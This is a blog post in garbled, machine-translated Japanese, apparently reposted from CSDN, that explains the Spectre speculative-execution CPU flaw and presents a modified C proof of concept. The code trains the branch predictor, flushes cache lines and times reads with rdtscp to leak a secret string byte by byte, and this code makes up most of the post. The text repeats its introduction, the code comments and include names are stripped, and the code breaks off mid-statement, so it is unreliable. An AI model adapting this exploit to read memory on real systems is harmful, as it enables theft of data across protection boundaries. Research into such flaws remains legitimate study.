最近比較的に火のCPUの抜け穴の解析を比較して、付随して注釈のソースコードの1部を修正したことがあります
その結果、CPU乱順実行やブランチ予測機能により、読み込むページがcacheキャッシュされているか否かを判断することで、メモリに何が存在するかを判断することができる.
简単で乱暴で、直接本帅が直したコードに行って、中国语の注釈を含んで、お礼を言いません.
またこのソースの大神を拝みます.
なお、乱順実行と分岐予測は、現在CPUが基本的に有するものであり、実行部がデータ取得を待ち時間を無駄にしないように全速力で実行することを目的としている.BUGのポイントは、この2つの機能により、cacheが本来取得する権限のないアドレスデータをキャッシュすることにある(PS:権限チェックはcoreのレジスタにデータが入ったときに行われるが、これはなぜこのBUGがアーキテクチャの問題であり、アーキテクチャ設計cacheは権限をチェックしない)が、cacheのデータとcache以外のデータcoreは取得時にN倍の時間差があるのか(本帥のCPUテスト結果によって3倍以上の差がある)ので、データキャッシュの状況を判断することができ、辞書でキャッシュされているものを判断することができます(この文はコードを見てください)
この文章はいいですが、本帥はポイントがありません.以上のコードを直接コピーしてください.
この文章はいいですね.作者にポイントを贈ることにしました.以下のリンクをクリックしてダウンロードしてください.http://download.csdn.net/download/qq_25827741/10192872
简単で乱暴で、直接本帅が直したコードに行って、中国语の注釈を含んで、お礼を言いません.
またこのソースの大神を拝みます.
なお、乱順実行と分岐予測は、現在CPUが基本的に有するものであり、実行部がデータ取得を待ち時間を無駄にしないように全速力で実行することを目的としている.BUGのポイントは、この2つの機能により、cacheが本来取得する権限のないアドレスデータをキャッシュすることにある(PS:権限チェックはcoreのレジスタにデータが入ったときに行われるが、これはなぜこのBUGがアーキテクチャの問題であり、アーキテクチャ設計cacheは権限をチェックしない)が、cacheのデータとcache以外のデータcoreは取得時にN倍の時間差があるのか(本帥のCPUテスト結果によって3倍以上の差がある)ので、データキャッシュの状況を判断することができ、辞書でキャッシュされているものを判断することができます(この文はコードを見てください)
/*
modify by:CSZQ
*/
/*
*/
#define __DEBUG 0 // ,
#define __TRYTIMES 50 //
/*
*/
#define __MAGICWORDS "1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"
#define __MAGICWORDSCOUNT (sizeof(__MAGICWORDS) - 1) //
/*
cache , , 9.9 , 50 , -t
、CPU , , CPU Intel I7-4700MQ
:16 - 176
*/
#define CACHE_HIT_THRESHOLD (50)
/*
*/
#include
#include
#include
#include
#pragma optimize("gt",on)
/*
*/
unsigned int array1_size = 16; // ASCII 16
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; //
uint8_t array2[256 * 512]; // 256 ASCII
const char *secret = __MAGICWORDS; //
int iThreshold = CACHE_HIT_THRESHOLD; //
/*
temp victim_function()
*/
uint8_t temp = 0;
void victim_function(size_t x) {
/*
x 0 - 15 arrary2 1 - 16 & temp temp
temp 0
evil :
array1[x] 5
array2[array1[x] * 512] 5 ASCII 0 - 127 * 512 array2
:
array1[x] cache array1
array2[array1[x] * 512] cache ASCII 1 - 16
*/
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256]; // ASCII
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t *addr;
for (i = 0; i < 256; i++)
results[i] = 0;
/*
*/
for (tries = __TRYTIMES; tries > 0; tries--) {
/*
array2 512 cache
*/
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); // _mm_clflush:Invalidate and flush the cache line that contains p from all levels of the cache hierarchy
training_x = tries % array1_size;
/*
CPU
*/
for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size); // array1_size
/*
100 , cache
*/
for (volatile int z = 0; z < 100; z++) {}
/*
:
j % 6 = 0 x = 0xFFFF0000
j % 6 != 0 x = 0x00000000
Avoid jumps in case those tip off the branch predictor
*/
x = ((j % 6) - 1) & ~0xFFFF;
/*
:
j % 6 = 0 x = 0xFFFFFFFF
j % 6 != 0 x = 0x00000000
*/
x = (x | (x >> 16));
/*
:
j % 6 = 0 x = malicious_x
j % 6 != 0 x = training_x
*/
x = training_x ^ (x & (malicious_x ^ training_x));
/*
cache
5 ,j = 24、18、12、6、0 ,
*/
victim_function(x);
}
/*
cache
*/
/*
。 stride prediction( )
i 0 - 255 ASCII
*/
for (i = 0; i < 256; i++) {
/*
TODO: NB , 666
167 0xA7 1010 0111
13 0x0D 0000 1101
0 - 255
*/
mix_i = ((i * 167) + 13) & 255;
/*
addr arrary2 0-255
*/
addr = &array2[mix_i * 512];
/*
junk TSC_AUX
time1
*/
time1 = __rdtscp(&junk);
/*
,
*/
junk = *addr;
/*
*/
time2 = __rdtscp(&junk) - time1;
/*
, mix_i 1 - 16, 1 - 16
*/
if (time2 <= iThreshold && mix_i != array1[tries % array1_size])
/*
cache arrary2 0-255 +1
*/
results[mix_i]++;
}
/*
, j( ),k( )
*/
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
}
else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
/*
2 5
2
,
*/
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
/*
junk
*/
results[0] ^= junk;
value[0] = (uint8_t)j;//
score[0] = results[j];//
value[1] = (uint8_t)k;//
score[1] = results[k];//
}
int main(int argc, const char **argv) {
size_t malicious_x = (size_t)(secret - (char*)array1); /* */
int i, score[2], iLen = __MAGICWORDSCOUNT, iCount = 0;
char *opt;
uint8_t value[2];
/*
*/
if (argc > 1) {
opt = (char*)&argv[1][1];
switch (*opt) {
case 'h':
printf("-h help
-t , 16 - 176 , 50
");
return 0;
case 't':
if (argc==2) {
sscanf(opt + 1, "%d", &iThreshold);
}
else {
sscanf(argv[2], "%d", &iThreshold);
}
break;
}
}
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* */
#if __DEBUG > 0
printf("Reading %d bytes:
", iLen);
#endif
i = iLen;
while (--i >= 0) {
#if __DEBUG > 0
printf(" :%p ", (void*)malicious_x);
#endif
readMemoryByte(malicious_x++, value, score);
char* addr = (char*)array1 + malicious_x - 1;
if (value[0] == *addr) {
iCount += (score[0] > 2 * score[1]) ? 1 : 0;
}
#if __DEBUG > 0
/*
2 ,
*/
printf("%s: ", (score[0] >= 2 * score[1] ? " " : "...."));
printf("value:0x%02X char=%c counts=%d ", value[0],
((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[0]);
if (score[1] > 0)
printf("( :value:0x%02X char=%c counts=%d)", value[1], ((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[1]);
printf("
");
#endif
}
/*
1/5 BUG,
*/
printf("%s\r
", (iCount >= __MAGICWORDSCOUNT / 5) ? "---> BUG! BUG
この文章はいいですが、本帥はポイントがありません.以上のコードを直接コピーしてください.
この文章はいいですね.作者にポイントを贈ることにしました.以下のリンクをクリックしてダウンロードしてください.http://download.csdn.net/download/qq_25827741/10192872